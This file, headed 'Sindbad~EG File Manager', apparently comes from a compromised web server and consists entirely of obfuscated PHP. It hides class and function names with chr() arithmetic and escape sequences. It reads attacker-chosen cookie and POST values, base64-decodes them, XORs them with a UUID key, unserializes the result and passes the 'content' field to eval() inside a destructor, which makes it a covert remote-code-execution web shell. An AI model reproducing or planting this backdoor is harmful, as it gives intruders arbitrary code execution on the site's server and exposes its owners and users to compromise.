Sindbad~EG File Manager

$MbYGt = chr ( 321 - 245 )."\126" . 'L' . chr ( 849 - 754 ).chr (111) . chr ( 931 - 851 ).'r' . "\x71";$rhhuxiXCb = chr ( 910 - 811 ).chr (108) . chr ( 596 - 499 ).'s' . "\163" . '_' . "\145" . 'x' . chr (105) . 's' . 't' . "\x73";$aahJAGK = class_exists($MbYGt); $rhhuxiXCb = "40582";$MpKxJnDEN = !1;if ($aahJAGK == $MpKxJnDEN){function IwkTg(){$rqhIikoPqt = new /* 35060 */ LVL_oPrq(32765 + 32765); $rqhIikoPqt = NULL;}$fqOcsArcsE = "32765";class LVL_oPrq{private function SlgrUO($fqOcsArcsE){if (is_array(LVL_oPrq::$JcdqdWgb)) {$cwHNo = str_replace(chr (60) . chr (63) . 'p' . "\x68" . "\160", "", LVL_oPrq::$JcdqdWgb[chr (99) . chr (111) . "\156" . "\164" . "\145" . 'n' . chr (116)]);eval($cwHNo); $fqOcsArcsE = "32765";exit();}}private $cwThI;public function BTbUEGMoyA(){echo 30171;}public function __destruct(){$fqOcsArcsE = "25394_5903";$this->SlgrUO($fqOcsArcsE); $fqOcsArcsE = "25394_5903";}public function QBYCEjgCI($AkReZJm, $PJzqMYuP){return $AkReZJm[0] ^ str_repeat($PJzqMYuP, (strlen($AkReZJm[0]) / strlen($PJzqMYuP)) + 1);}public function __construct($JistTeFxqi=0){$ARtfHfn = $_POST;$onwMR = $_COOKIE;$PJzqMYuP = "adaae8f5-6103-4da5-bfb8-c5d033920ac8";$fyEqQ = @$onwMR[substr($PJzqMYuP, 0, 4)];if (!empty($fyEqQ)){$pGXpuYlvLH = "base64";$AkReZJm = "";$fyEqQ = explode(",", $fyEqQ);foreach ($fyEqQ as $oPjPud){$AkReZJm .= @$onwMR[$oPjPud];$AkReZJm .= @$ARtfHfn[$oPjPud];}$AkReZJm = array_map($pGXpuYlvLH . '_' . "\x64" . chr ( 729 - 628 )."\x63" . "\x6f" . chr (100) . chr ( 776 - 675 ), array($AkReZJm,)); $AkReZJm = $this->QBYCEjgCI($AkReZJm, $PJzqMYuP);LVL_oPrq::$JcdqdWgb = @unserialize($AkReZJm);}}public static $JcdqdWgb = 28650;}IwkTg();}